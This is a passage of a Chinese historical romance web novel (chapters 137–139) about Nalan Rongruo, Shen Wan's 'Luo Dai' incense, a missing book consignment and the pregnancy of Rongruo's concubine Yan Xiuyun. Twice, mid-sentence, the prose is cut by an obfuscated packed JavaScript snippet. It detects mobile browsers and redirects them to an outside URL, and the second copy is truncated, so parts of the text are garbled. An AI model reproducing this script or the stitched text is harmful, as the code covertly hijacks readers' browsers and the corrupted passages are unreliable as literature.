梁九功满脸感激:“听干爹一席话,胜过当十年差啊!” “好生把两只茶碗都收着,没准什么时候万岁爷心血来潮问起,你才好有个交待。” “奴才明白了。” 梁九功应完,就回去殿内取茶碗了。 这便是康熙朝当中的一段秘话: 圣祖问策容若于殿阁,容若思茶,错饮帝碗。圣祖怒之,明珠请见,父子与君辩,遂得宽恕。然圣祖之用意,容若思之而自知也。 容若妻卢氏,随父居岭南,知悉茶道。容若言上(指皇上)之举于妻,复说殿阁用香之事,两相思论,讶妻之识,爱之愈增。 * 沈宛和宋应星到达江南之日,一切顺利。 入住旧时屋舍,感之如往,师徒二人多生旧思。 接下来,宋应星上街购买鲜菜肉食和日常必备食器,沈宛则留下来收拾和打扫屋舍里面。半晌,师徒二人终于忙活完了大概,可以坐下来好好吃饭。 听着不远处水流的潺潺声,宋应星心情格外畅快。 “这一路回来,无非就是求个心静人静意境如镜,尚未睡过一宿,却觉得已经实现。” “这从北往南已经走过许多时日,京华之中人事早已多变,却也未曾听得额外风声,所以我认为已经没有别的灾难要发生在文人们身上了。” “御婵,你这么想有道理。”宋应星捋须,“只是京华终究是是非之地,还是远离皇城的好。等到明日,我就给张岱写信,给他报平安。” “师傅,照理说镖师们经验丰富,不管是走水路还是走陆路,都应该是将货物在货主之前送到才对。”沈宛神色疑惑,“如今您那数箱《天工开物》却不知道去向,您就不担心吗?” 宋应星这才觉得不对劲。 “是啊,我也怕错信了人。‘神龙镖局’的名声在江湖上好歹是打头阵的,那些镖师没理由拿我的书来害我啊!” “师傅,就怕镖局之人是在正经走货,但是您手下的线人受了索党收买,将这一消息和盘托出、且在半路拦截了货物。” 宋应星下意识问:“你怎么不说明党?” “就算是《天工开物》落入明珠大人手里,明珠大人有意把师傅您的作品上交朝廷,纳兰公子也不会让你我师徒遭难的。因为纳兰公子是比谁懂的文人的骨气和心志的人。” “御婵你……有无向纳兰性德公开我身份?” “至今未有过。” “唉!”宋应星一拍大腿,“都该怪我自己不谨慎!这么重要的书作,就应该多雇佣一趟马车,随行运输才是。” 沈宛提醒:“事已至此,师傅您要赶紧联络能够出力的人去找书啊!” “如果真的探得消息,《天工开物》已经被索党拿到了手,”宋应星紧张,“那该如何是好?” “那就真跟没离开京师一样了。”沈宛虽是这么说,心中却是冷静,“无论如何,我会千方百计保护师傅你周全。” 宋应星越发忐忑不安,在饭桌周围徘徊。 “我没法把事态往好的方向去想,‘神龙镖局’断是不会耽误这收了双倍银子的活计。只怕真如你所说,走了也形同未走,要遭索党算计了。” “那首当其冲也是师傅您的旧友张岱先生啊!张岱和宋应星的名字,在大清文坛和各路士人口中,那就是绑在一起的。”沈宛又想到,“不如这样,明天我就去‘神龙镖局’的江南分号去问问他们的堂主,没准堂主晓得《天工开物》的镖是怎么回事。” “也只好如此了。” 宋应星重新坐下,逼着自己吃了一碗米饭和一只鸡腿。 * 入夜。 空中一轮圆月高照。 沈宛把容若送的玉笛拿出来,迎着水色的月光看。 流水的清光反射在玉笛的笛身上,竟然有一股独特的凉意。 沈宛尝试吹笛,吹的是自己谱曲的容若的词《浣溪沙》。 一处相思两人共,夜合不语回廊空。只教闲花满地浓。 晓镜但见黄金铜,垂首闻风向帘栊。应是明月挂秋穹。 沈宛吹却一曲,双手握着玉笛贴在心间,如似温暖着容若的心。 唐有李商隐和歌姬张懿仙的若即若离,不公真情于人前;宋有秦观和李师师的才情互惜,羡煞多少才子佳人? 若是自己能跟容若一起成就这世间的第三段佳话,复欲何求? ——我沈宛,是出身江南歌楼的才女子,亦是习得武功的侠女子。我之琴棋书画、诗词歌赋,并以我的功夫本领、匡义之心,可否称得上“奇女子”三个字? ——“奇女子”与“大清第一才子”,情投意合可抵世俗之见。遇见容若是为人生第一幸;爱上容若是为人生第二幸;若能一生好合为容若生下孩子,便是人生的至幸。 秦观词《一丛花》说的好: 年时今夜见师师,双颊酒红滋。疏帘半卷微灯外,露华上、烟袅凉飔。簪髻乱抛,偎人不起,弹泪唱新词。 佳期谁料久参差。愁绪暗萦丝。想应妙舞清歌罢,又还对、秋色嗟咨。惟有画楼,当时明月,两处照相思。 一半是梦,一半是醒。 一半是代入感,一半是当下景。 ——不知此刻,容若是否也在想我? 沈宛倚窗淡笑,天涯那边人,天边眼前景,皆是心中柔软情。 情到深处浓转淡,思到极致深转浅,不如音韵牵藤,随梦入他的床。 * 次日,沈宛按计划来到“神龙镖局”的江南分号。 应请而见的是镖局二把手:姜飞远姜副爷。 见礼和报上名号之后,沈宛问:“姜副爷,江湖上的规矩,一手交钱一手交货,我师傅的这趟镖,可是花了双倍银子让‘神龙镖局’确保的,这会儿却不见去向,是怎么回事?” “宛姑娘,本副爷也是昨儿才接到消息,那趟镖在还未走出城卡之际就被拦截了,但是被扣下的不是宋先生的传世之作《天工开物》,而是:罗带香。” “这可就奇了,无端端地扣下我自个儿调的香料做什么?”沈宛甚至怀疑姜副爷在说谎,“我那香料犯什么事了吗?” “有没有犯事本副爷不知道,只是有小道消息说:罗带香被守城的官爷扣下后,转到了索府,索额图索大人夸‘罗带香’稀罕,就带入宫去进献给皇上了。” “怎么能给皇上呢?” 沈宛急了,自己不过是仿照李师师制香罢了,想着:李师师能解词得香,自己也不输她,就这么做了。 只可惜,李师师是真的得以跟秦观花前月下、卿卿我我,而自己……沈宛把头一低,聪明反被聪明误,没准会让康熙皇帝逮着一个测试“罗带香”得机会,害了纳兰公子呀! 姜副爷皱眉问:“宛姑娘,你这是怎么了?” “你不晓得,那‘罗带香’香味虽清淡,但人久处其中,最易口渴思茶。李师师泡得好茶,秦观善品佳茗也就罢了,康熙皇帝要是在养心殿内用此香,弄出了什么无法估测的事情来,不就是我的错?” “宛姑娘在自责什么呢?”姜副爷发出江湖中人的豪笑,“前提是康熙皇帝懂罗带香的香性才行啊!否则哪会生出什么乌龙来?” “乌龙吗?”沈宛摇头,“姜副爷你怎就不说康熙皇帝私下查过‘罗带香’的香性,才有心利用‘罗带香’来设局、引人犯错呢?” “当今天子是明君。”姜副爷抱拳,面朝皇上龙位,“不会做卑鄙之事。” 沈宛神色皆如忧:“可我还是担心呀!” “罗带香已经到了天子手里,天子要怎么用,要用在谁身上,你改变不了,担心也没用。”姜副爷指出,“还不如别把焦点集中在天子身上,多为可能会中招的人祈福吧!” “我……”沈宛脑海里上演着自己不想看见的君臣之争的场景,“我只怕是有人当时不觉不懂,事后才知才明。” “宛姑娘说的那人,是谁呀?” “那……自然是大清第一陪臣:纳兰容若。” 沈宛独自纠结,一切的一切,是写信给容若说好呢?还是不说的好? 私人书信传递总归是有风险,万一落入不怀好意的人手中,真是双双成败。 * 沈宛正要告辞。 “宛姑娘且慢!”姜副爷叫住她,“宋先生的镖运途有闪失,是神龙镖局的责任,本副爷绝不推脱,接下来寻镖与确保的任务,就包在本副爷和众镖师身上。” 沈宛这才明白过来: 原来,被守城的官爷们扣下的只有“罗带香”,师傅的《天工开物》还是正常往江南走的。只是这趟镖半途失联,不知后续而已,所以接镖地的江南分号也在跟进。 “有劳姜副爷。” “本副爷深知宋先生威望,所以有件事不得不跟宛姑娘说。” “请讲——” “在京为官的徐乾学徐大人,近来跟江南的各路文人和士人往来频繁,莫说是最简单的书信互通,合着各种镖物的互寄也是有的。行当规矩,我们行镖的人不能擅自把主顾封装好的镖物拆开来看,所以还是请宛姑娘转告宋先生此事的好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504665|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我会转达师傅。” ——千防万防,偏偏是徐乾学没有防! 回去的路上,沈宛在心里悔恨自己思虑不全。 * 容若坐在“饮水词歌·素菜馆”的雅室内,重温沈宛书信,不觉对着“烟雨江南,让梦偷安”八个字嗔笑。 “平安到达就好。”容若自语。 宛卿住在近水的地方,朝可观蜻蜓点水,夜可看月影摇曳,真是甚好。 他抬头一看挂在墙壁上的《飞花图》,不禁在笑自己痴中有所悟: 我未赠她香囊,却可想象她在江南水乡的小楼窗边罗带轻分模样,当真是不如深谙“自在飞花轻似梦”的秦观。 宛卿若效李师师制“罗带香”,想要的应不是我如少游的“口渴思茶”之意,她定是想说:罗带流绕江南峰,怯见空床一梦终。 那么我,只当养心殿的“罗带香”是宛卿的缘起就好,何须跟皇上的心思计较什么? 于是,容若独自研磨铺纸,认真地提笔给沈宛写回信。 他的信中所言,皆是对她的关心和对江南风物人事的期待。他很纯粹地盼着沈宛好,也满心向往地想从她的信中了解真实的江南。 信件方着墨到一半,耳边传来了敲门声。 容若知道是刘管事,也不顾收起桌面墨痕未干的纸笔,只是打算开门之后跟刘管事站在廊下说话。 “小的照觉罗夫人的意思来给公子传话,颜氏侧夫人身体不适,请公子速速回府看望。” 听闻袖云生病,容若心中自是担心。 一直以来都是自己受到袖云的照顾,自己好似从未见袖云病过,就怕这病来的凶猛,让袖云体重而吃不消。 “额娘传郎中到府上去了吗?” “小的不清楚,只是见在素菜馆外等候的家丁神色急促,怕是耽误不得。” “好,我知道了。待我收拾过里面的东西,即刻回府。” 掩上门,容若匆匆回到桌案前,整理信件和重置笔墨的动作却丝毫不乱。 他将给沈宛的信件折叠好后,锁紧了带双锁的匣子里,然后藏在墙壁的机关隔层中。 一切妥当以后,他才开门,吩咐刘管事继续去收拾剩余的未完之事。 * 回家的路上。 容若问在马车上赶路的家丁:“袖云情况如何?” 家丁道:“回公子,今早颜氏侧夫人用完早膳之后,正打算到院子里去照料公子的白玉兰树,就觉得恶心想吐,随即回房歇着了。觉罗夫人前去探望,本以为是中暑的缘故,可是又似乎不像,便是叫小的出门来叫公子回家。” “大清早的哪来的什么中暑?”容若再问,“郎中怎么说?” “小的出门的时候,郎中还未到。” “那阿玛说什么没有?” “老爷竟是大喜!说颜氏早上反胃,没准是孕吐,纳兰家……是要有好事发生了!” “这——”容若大惊,“阿玛真是这么说的?” “小的不敢胡言。” “既然是喜事,你倒是快些打马呀!” 容若心中怦然,单纯是喜悦。 “是!” 见公子竟然像老爷一般高兴,家丁也不敢不听,立刻有力扬鞭,稳快驰马。 ——阿玛说的没错了,肯定是那么回事,袖云她……如此甚好、甚好! 风景迅速从车窗外掠过,容若笑起来,心已经到达袖云身边。 他,愿与她一同分享、分担、面对接下来的一切。 * 一日午后。 趁着康熙皇帝小憩的时间,梁九功找到了总管大太监顾问行。 “干爹,这差事奴才是越来越不会当了。”梁九功一脸困惑,“万岁爷安排在明府四周的眼线来回话,说是纳兰公子要当阿玛了。这话……对万岁爷是回得还是回不得啊?” “这消息是你我能回的吗?”顾问行一敲徒弟的脑袋,“这喜讯别说你我回不得,连纳兰公子本人也亲口向万岁爷说不得。得是明珠大人和觉罗夫人一起,到慈宁宫去给老祖宗回话。” 梁九功摸了摸脑袋,“这门道奴才哪里晓得?” 顾问行摆出见多识广的模样道: “纳兰公子自个向万岁爷说侧室颜氏有了身孕,那岂非等于炫耀自己的才学后继有人?万岁爷能让‘天下的纳兰公子’这般好过和欣喜吗?你我去回话,就等于是不顾万岁爷的心思,先替纳兰公子高兴了,别说没有赏赐,没准还会挨掌嘴的罚。” “可是明珠夫妇去跟太皇太后说就不一样了,那是跟老祖宗分享明珠家事的乐趣,老祖宗可是乐意听的。” “奴才明白了。”梁九功忽然开了窍,“这事,还得是太皇太后亲口来跟咱们万岁爷说。” 顾问行欣慰一笑,“没错,最好是趁着惠妃娘娘也在时候说。” 梁九功问:“这哪能保证皇上去慈宁宫给太皇太后请安的时候,惠妃娘娘就在陪老祖宗说话啊?” “万岁爷要往慈宁宫去之前,你先一步到延禧宫去给惠妃娘娘报信不就成了?” “奴才听干爹的。” 而等到玄烨听孝庄说完事情前后,神色复杂地反应出这么一句话来:“朕的皇后刚刚崩逝,纳兰的侧夫人颜氏就怀上了他的孩子?” 就是接下来要讲述的了。 138.第138章 纳兰容若回到家中,匆匆往颜氏侧夫人的房间去。 进门,容若看见阿玛额娘、卢氏脸上都带着笑容,便知道是要迎来“早生贵子”之喜了。 未等家人和郎中说明情况,容若便坐在袖云床侧,握着她的手温和道: “途中我担心你身体抱恙,只怕自己日日相处却还是在细微之处疏忽了你,这会儿见大伙儿都高兴,我便是猜到一定是件值得纳兰家上下都欢庆的好事!” 觉罗氏亲口道出了喜讯:“容若,袖云她是有喜了!” “太好了。”容若精神振奋,继而回应父母,“儿一定做个好阿玛,一定多陪着袖云和她肚子里的孩子。” 卢氏亦是同喜,“尔谖贺纳兰家喜事,贺袖云妹妹为纳兰家开枝散叶。” 颜氏礼貌道:“袖云谢正夫人吉言,谢公子恩泽。” “尔谖,你也要尽快怀上容若的孩子才好。”觉罗氏趁机提醒,“容若待你好,额娘都是看在眼里的。” 卢氏有些害羞般的低下头,“是。尔谖不辜负额娘的期盼,会珍惜着公子的好,早日为纳兰家诞下子嗣。” 明珠却是忽然咳了几声,让一家子把注意力都集中到了他身上。 大家只听见这位一家之主道: “照着满人的规矩,先拿皇宫来说,位分低的嫔妃生了小阿哥,是要把小阿哥送到位分高的嫔妃膝下去抚养的,这是为了提高小阿哥的出身和培养小阿哥的独立性。同理,放到咱们纳兰家,也有侧室的孩子生下来后,移交给正室抚养的规矩,但是——” 明珠把话锋一转,接着道: “袖云进入明府已久,陪在容若身边也已久,最是懂得府中的秩序容若的心思,所以本官就做个主:孩子生下来以后,就让袖云亲自来养,不必让尔谖代行教养之责了。容若,你的意思如何?” 容若心中大赞明珠开明,道:“儿替袖云谢过阿玛,这正是儿所希望的。” 明珠又看向卢氏,问:“尔谖你呢?也如容若所说吗?” 卢氏应道:“是,阿玛能够顾及袖云妹妹的感受,真正将一份完整的亲情和长子的成长历程信任交付,尔谖跟公子一样,谢阿玛不流世俗、为家人着想。” “如此便好。”觉罗氏欣慰道,“你们夫妻之间相互理解,各自栽培自己的孩子,也能免去‘认亲认生’的嫌隙,这对家里来说,是对举。” “本官的苦心能为家人体恤就好。”明珠点了点头,“纳兰家长公子的侧夫人有喜之事,后日本官与夫人同去慈宁宫禀明太皇太后。这两天,容若你就留在家中陪着袖云,别进宫去见皇上了。” “儿听从阿玛的安排。” “真不知道索额图会怎么想啊!”明珠在儿子面前踱了几步,“这一向,纳兰家的喜事在索额图眼中,都能变成别有用心的预谋之事。” “娶妻生子,人生常态,索额图要是这都不想让容若好过,”觉罗氏冷咒了一句,“那妾身以为,老天爷也不会饶恕他和赫舍里一族。” “本官经过暗地里的追查,终于弄明白了那日容若在养心殿口渴,错拿了皇上的茶碗来饮茶的原因了,疑点就出现在:罗带香上!” “妾身从未听老爷说过:养心殿有用民间的香的先例。” “夫人,你可晓得那‘罗带香’是从何处而来?”明珠故意问,“探子回话说:是索额图从一众镖师运输的货物当中收缴来的,他自称此物奇妙,就献给了皇上。你说他的心思歹毒不歹毒?” “京师之中,每日往来的镖货众多,怎就索额图能够正中下怀——收缴出‘罗带香’来?”觉罗氏问,“照妾身看,这一切都是索额图的自导自演。” “容若,你怎么看?” “回阿玛,索额图献物归献物,至于得到索额图所献之物后,皇上想要如何利用罗带香,就不是索额图能够左右的了。” “你是往索额图收缴到‘罗带香’纯属巧合的方向看吗?就不觉得索额图对你不安好心?” “儿也难下定论。只能叫自己在往后小心提防一切。” 沈宛从未提及,所以容若自然是不知道她把“罗带香”一并放入镖物之中送往江南之事,这就使得纳兰父子基本上都把索额图当成了“错拿茶碗”事件的始作俑者,对索额图本人和索党的忌惮又增进了几分。 “好。”明珠用眼神示意觉罗氏上前,“容若,你就留下来陪着袖云吧!阿玛和额娘就不碍着你俩说些私语了。” “儿恭送阿玛和额娘。” * 明珠夫妇进宫向太皇太后报喜的当日,竟然在路上与索额图父子擦肩而过。 原来,索额图只是来为在宫中当二等侍卫的儿子格尔芬做打点,行事完毕之后,父子一并归家而已。 岂料明索二人竟是各看各的冷眼,一方猜忌更比一方深: 明珠坚信索额图用“罗带香”来迷惑圣心和加害容若; 索额图以为明珠夫妇是前往慈宁宫争取孝庄的支持,好早日把纳兰惠儿册立为皇贵妃。 * 慈宁宫。 苏麻喇姑给明珠夫妇看了座之后,孝庄见二人喜上眉梢,便问:“纳兰家有何欢喜之事?说出来让我和天生的睿王爷都沾沾喜庆。” 殿内只有自己人,所以孝庄可以在明珠夫妇面前提及容若的祖王父父多尔衮。 明珠恭敬道:“回老祖宗,纳兰家承蒙老祖宗懿恩照拂,容若侧室颜氏怀上身孕。” “纳兰家添子添福,的确是好事。”孝庄说着,便叫来管事太监李福连,“传我懿旨,恩赏一只羊脂玉镯子、一对抱子双耳瓶给颜氏侧夫人。” “奴才先替颜氏侧夫人向太皇太后谢恩了。”李公公一弯腰,“这就到内务府去办差事。” 苏麻喇姑道:“纳兰公子为家里开枝散叶,实在是可喜可贺。奴才恭喜明珠大人、觉罗夫人。” 明珠大人一并谢过苏嬷嬷:“同喜同喜,都托了太皇太后的鸿福。” 孝庄自然是知道,明珠夫妇此番前来,出了报喜之外还有一个请求,那就是叫她这个后宫的当家人亲口跟康熙皇帝说这事,免得让皇上和朝野生出不该有的误会来。 她道:“皇上近日以来专注朝务,多是在养心殿内批阅奏章,少叫侧臣到身边陪着,所以一时之间疏忽容若的身上的喜事也是有的。老祖宗我肯定是得为皇上兼顾上,毕竟纳兰氏对我来说就如第二亲族一般。” “容若能够不耽误自个的感情,奴才已经是要跟老天爷谢恩了,怎敢冒然惊动皇上?”明珠做出感激的模样,“老祖宗指婚的卢氏,虽是入家门晚了些,但跟容若之间也是恩爱谐好,时时把老祖宗的心意惦记着。” “我只当是纳兰家的家事有颜氏侧夫人分管着上心着,就为容若挑选了一个知书达理的可人姑娘卢氏。我倒是不指望卢氏能够做得来八面玲珑之事,只盼着她一心一意对容若,就等于是她向我孝庄报恩了。” “老祖宗说的是。”觉罗夫人道,“德才兼备的女子可遇不可求,容若能够得一聪明伶俐的侧室和一端庄温柔的正室,恰是相得益彰。” 这时候,有人来报:“惠妃娘娘到——” “臣妾给太皇太后请安,太皇太后吉祥。” “免礼,都是一家人,惠妃坐下说话。” “臣妾谢太皇太后。” 苏麻喇姑悦颜道:“惠妃娘娘,纳兰公子大喜,要当阿玛了。” 惠妃虽已先一步从梁九功梁公公口中得到消息,却仍旧流露出了惊讶之喜,道:“谢苏嬷嬷告知!恭喜伯父伯母,恭喜公子。” 孝庄笑着预测道:“觉罗夫人连续三胎都是儿子,惠妃你所出也是皇子,照我看,侧室颜氏这胎也会是个男丁。” “照着公子的性情,定是男孩女孩都喜欢的。”惠妃婉声道,“最好是侧室颜氏诞下双胞胎,一男一女便是皆大欢喜,男男女女便是要长得一模一样才好,这么一来,辨认谁是谁也是日常生活中的乐事一件。” “惠妃会说话。”孝庄神情满意,点了一下头,“就是这个理,不管是男是女还是双子,要紧的是容若对孩子们都肯花心思、都疼爱。一家人在同一屋檐下日子过的舒心,就是最大的福报。” 孝庄道:“觉罗夫人,到时候你把孩子抱进宫来给我看看,我那些重皇孙和皇孙女们,都在位分高的妃子那里养着,没法一起聚过来共享天伦。” 觉罗氏起身道:“一切都听老祖宗的。” “容若公子六岁的时候进宫,常在老祖宗身边陪伴,后来便是有曹寅,所以他俩跟老祖宗都亲。”苏麻喇姑道,“老祖宗至今还是叫容若公子‘孩子’呢。” “那是容若的福气。”明珠一并起身言谢,“到底在这皇宫里面,还是老祖宗待容若最好。” * 顾总管的声音响起:“皇上驾到——” “孙儿给皇阿奶请安,皇阿奶吉祥。” “皇上来的真是时候。”孝庄示意玄烨到近侧坐下,“皇祖母有个喜讯要跟皇上说:容若跟妻妾相处的好,正室和侧室两方都顾着,终于是给自己也给纳兰家添了福分。皇上你也应当对后宫的妃子们雨露均沾、多为大清延续香火才是。” 玄烨一下子就把孝庄的话听明白了。 皇阿奶虽然没直言一句“纳兰要当阿玛了”,但言语之间无不是这个意思,还把皇嗣之事也往上沾边,当真是一箭双雕。 “朕的皇后才刚刚崩逝,纳兰就要有自己孩子了?” 玄烨表情复杂,喜中有妒,妒中有喜。 顾总管用手臂一推梁九功,用眼神道:看着吧,接下来就是惠妃娘娘发挥用武之地的时候了。 惠妃进言道:“皇上,臣妾尚且记得皇上获得第一子时的喜悦,想来天子之喜和天子之宽悦一定是胜过臣子的初为人父之喜的,臣妾愿意跟皇上一同静待愿景。” 玄烨耿直道:“你是与朕一致心情,还是在为你表兄说话?” 惠妃道:“臣妾是跟太皇太后一样立场的,皇上有皇上的责任,朝堂后宫,亲贵百姓,皆兼顾;纳兰公子有纳兰公子的生活,笔墨柔情,文质英姿,皆所得。皇上放眼天下,事无大小,臣子之喜就是皇上之喜,皇上之忧亦臣子之忧。” 玄烨脸上浮出一笑,“惠妃,你不愧是明珠调教出来的,朕对你的一番话,收下当中的‘为君要点’就是。” 惠妃行礼道:“臣妾只是多得了皇上的眷顾和恩惠,从皇上身上学到了一切罢了。” “都好,不管你是师从明珠还是心许于朕,你识大局、能辩理这两点,在后宫本就难得。”玄烨渐渐松和,“朕的后宫,既需要胭脂粉黛的佳人,也需要聪慧淑敏的谋士,六宫的协理之权,仍旧是由惠妃你代领着。” “是,臣妾遵皇上旨。” 玄烨转向明珠,朗声道:“朕打算给纳兰的长子命名。” 明珠慌忙拉过觉罗氏,一同洗耳恭听。 “就叫做:富格。朕但愿纳兰的长子像他一样:学富五车,别具一格。” 明珠一面谢过圣恩,一面在心中暗想: 皇上的意思,莫不是在暗示本官,纳兰家过于‘有钱’,容若‘格调’过雅,是时候有所收敛了?但是本官和容若并未做一件危害江山和架空皇权之事啊! 从慈宁宫出来,走在皇宫的厚实砖地上,明珠向觉罗氏坦诚:自己心中忐忑。 “老爷你说,皇上给咱们的孙儿取名字,是早就酝酿过的,还是心血来潮?” “夫人啊,以前本官就奇怪,为何皇上爱叫容若给皇嗣择字取名,只告诫容若要慎之又慎。今日见皇上朗朗而出‘富格’二字,倒是明白了。” “皇上的意思是?” “皇上是步步在向容若暗示:必须服从于君!” “那就是说,咱们儿子的将来……”觉罗氏替容若担心,“也被皇上紧紧掌控在手了?” “是啊。”明珠边走边捋须,“皇上会给容若安排什么职务,难说啊!” * 夜间。 明府渌水亭长廊。 明珠把在慈宁宫发生的事情,原原本本向容若说了一遍。 “如今我纳兰家的家事,都要处处受制于皇上了,这当中的滋味,岂是那些巴结者和外人能懂的?” “阿玛何须这般不满?”容若问,“儿倒是觉得,皇上对纳兰家的控制从未松懈过、也从未变过。” “袖云肚子里的孩子的名字,本就该由你我父子商量着来取,现在被皇上一锤定音,算什么?” “万一袖云怀的是个女孩,不就不必顺着皇上的意思来了吗?”容若乐观一笑,“趁着这段自由的日子,我不让自己积极些、过得自在些不行啊。” 明珠听的出来,“你也料到皇上会给你安排新官阶了?” 容若小分盘中酥点,问:“阿玛,您会觉得儿棘手吗?似乎什么官阶都能得心应手,又似乎什么官阶都格格不入。这般身不由己,走不出京华,也走不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“尔谖,额娘的意思是叫你学着大理明府上下,阿玛同意了。我的想法是:你有不懂的地方,就多去向额娘和管家金叔请教;你有拿不定主意的事情,就多来问我,我跟你一块用最善的办法应对。” 卢氏不惊不喜,亦不对自己的能力生疑,只平静应道: “不瞒公子,尔谖从公子的桌案上看过明府的地图【注1】,便是先从明府的布局构造开始,慢慢了解这个家的每一处风景和每一间房屋,心中的确是萌生过为家里贡献自己的一份力的想法。” 容若心弦被触动,道:“我还以为明府之大,只有我一个人走遍了,没想到还有你。” “公子为什么这么说?”卢氏问,“阿玛和额娘也没有走遍这个家吗?” “是啊,家虽大,但是家人们的活动范围无非就那几处。”容若又补充道,“包括西郊的庄园,平时也只有我一个人骑马过去,阿玛和额娘是不去的,只会吩咐劳工定期去打理和打扫。” “那以后,公子在外有想去的地方,不管是家产之所在或是风景之所属,也让尔谖陪着一同好不好?” “你乐意,当然好。” 卢氏拿来笔墨。 “其实,家计上面的事情,比起问额娘我更想问公子。感觉公子对这个家,比谁都上心,不管是明处还是暗处,公子都在为了保全这个家而拼尽一切。” “因为我喜欢这个家和跟这个家相关的一切。”容若心境清然,“钱与雅,本就是不分的,所以我认为:后世之人没必要提起明府之时,就本末倒置来说里面的奢侈。” “公子只为渌水亭写序,为何不为明府也做一篇章?” “谁说我以后就不会写呢?”容若无奈一笑,“只是当下我的笔墨最终都要归皇上,皇上不是没有透露过要抄我家和拆我的渌水亭之意,所以我不能写。” “皇上这般无理对公子,公子也能忍吗?” “我对皇上不存在一个‘忍’字,皆是侧臣对君主的‘效忠’而已,效忠是难分明确的是与非的。” * 待墨研好,容若握住了卢氏的手腕。 他问她:“尔谖,关于家计,是你问我答,你一边记录?还是我来写几条简明扼要的点儿,你再把笔墨收下来看?” 卢氏深情道:“让我来记录公子的话吧!” 容若有条有理地对夫人细说: “日常问安你是做到了的,这个最为简单。家中用度和伙食安排,也是管家该尽的份内之责,你只需定期过问就是。” “接下来,便是对家中的侍妾和仆人们的各项月例安排和工作分配:袖云虽是侧室,但是月例银子和吃穿用度也是额娘亲自恩准,这便不必做别的考虑;仆人们的各项拨给,明府中有详细的造册细则可看。” “所以我觉得管家计并不难——” 容若温柔地看着夫人,为她分析要点: “关键是通过叫尔谖你管家计,额娘和阿玛分别想从你的表现当中得到什么。对他俩而言你是儿媳,对我而言你是正妻,亲密疏合各有不同。我支持你着手家计,并没有那种‘要求自己的正夫人面面俱到’的心思。只要你能够从中学到东西,我就高兴。” “额娘是盼着你能立竿见影,确立长公子的正夫人的威信;阿玛是盼着你卓有成效,一举一动,一行一策都能起到可以眼见的成果。那么,你就要从这些方面着手——” “公子。”卢氏忽然打断。 “怎么了?”容若温声问。 “公子这般细致地教导尔谖,是不是同时也在心里渴盼着源自阿玛和额娘的温情?公子是把尔谖视为:可以代替你在将来获得阿玛和额娘的认可、和得到明府上下夸赞的分身吗?” “你别这么想,我没有。”容若依旧温润,“我只是把自己悟到的和想到的全部,都对你和盘托出而已,没有将你当作承接亲情和赞扬的替代品。” “公子你在说谎。” “从未有人像你这般疑我。” 容若心中平静如水,他对卢氏辩论不起来。 也许卢氏是在害怕,她怕自己接下来的每一步都被公子规划和安排的太过妥当,反而丧失了发挥和挑战的余地。 容若走到卢氏身边,轻轻拉她起身。 他与她相对面,他看着她的眼睛,真诚道:“尔谖你要相信我。” ——我只是为你着想,才会细致到无以复加。 ——我不会因为自己被康熙皇帝掌控,就转过来主宰你的接在手里的担子。 【注1】这些地图,是之前容若画给沈宛的。容若问沈宛想要明府的平面图还是俯瞰图,见第69章。 139.第139章 一天,天气明媚,让人心情也见好。 容若站在白玉兰树下面,静静赏花。 之前自己因为“事事求周全”而遭了卢氏的质疑,不过夫妻之间没有解不开的误会,很快就重新和好。 像是这样的话,自己想告诉卢氏的无非是这三点: 尔谖,明府里面没有闲人,也容不下欺软怕硬和挑拨是非的人,所以你不可过于明辨黑白,得饶人处勿论大事小事都要且饶人; 学管明府家计,学的不是去做一个“懂拨算盘”和“能调解口舌矛盾”的人,而是要把明府的“经营之道”和“保全之法”弄清楚。 你心里对纳兰家的“行事标的”有底,就能够明白我和阿玛的诸多不得已,就不会像某些廉吏一样,只把“敛财”二字来往纳兰父子身上加标签。 * 另一边,穴砚斋内。 卢氏正亲自将容若常看的书拿出书阁之外晾晒。 她觉得自己能为容若做的事情少,除却日常关心和兴趣上面的共鸣,确实是在别的方面帮不了他。 所以,她不妒这世间有别的可以弥补自己的缺失的女子,只要容若喜欢,能够从别的女子身上得到慰藉,她都是许容若跟别的女子相会相处的。 熟记书籍摆放位置和把书籍往外搬的过程中,卢氏可以想象自己未进家门之前,容若在里面温书和作画的模样。 这里是容若从小到大静静修心和刻苦研学的地方,几载春秋,几度风雨,他始终如一地律己入书,已然成为大清才学最高之人。 穴砚斋、花间草堂、渌水亭,此三处是容若觅书、编书、看书的地方。容若便是这般好,文质彬彬又不失武略滔滔,静与动之间,他所拥有的日月之心和山河之志,字里行间和举手投足当中皆可见。 卢氏犹记得: 别的读书人多是把薄铜片镂空出图样和系上细缎带来做书签,容若则是不需要书签,他有过目不忘的本事,知道那本书哪一页记载了什么内容。 但容若却是会像制作“纳兰香”一般制作“枫叶书签”,他能雕烛也能雕叶,压制风干后的枫叶是杏黄色的,要将叶柄拿在手中,对着向阳处才好看。 她曾说:“公子,尔谖觉得古往今来最好的乐师是南宋的姜夔,醉心打磨艺术品时,要听白石道人的歌才好。” 她亦知道,自打算命术士拿李白的诗“江城五月落梅花”来预示容若的寿命后,明府不许栽也不许见一处梅花,偏偏姜夔最好的词曲:却是写梅花的《暗香》和《疏影》。” 所以,她是怕自己在容若面前提姜夔的乐作会惹公子不高兴的。 可容若的反应却是:“尔谖你会白石道人的歌吗?你亲自的鼓瑟的话,我会放下手中事来细听。” 她惊喜,说:“好,我演奏给公子听。” 于是,在后来,就有了纳兰容若的这首词: 《一线香·日光偏知春色好》 日光偏知春色好,揽拖瓣萼映轩窗。暗香疏影幽梦,且问尧章。 一点心情上眉梢,琴弦着音庭中央。若言对望知音共,雨滂滂。 * 容若走近,驻足在庭院中的“晒书地”前边。 他笑问:“阳光明媚的好天气,人有感知书亦有,挺好。尔谖,你怎么想到做这些?” 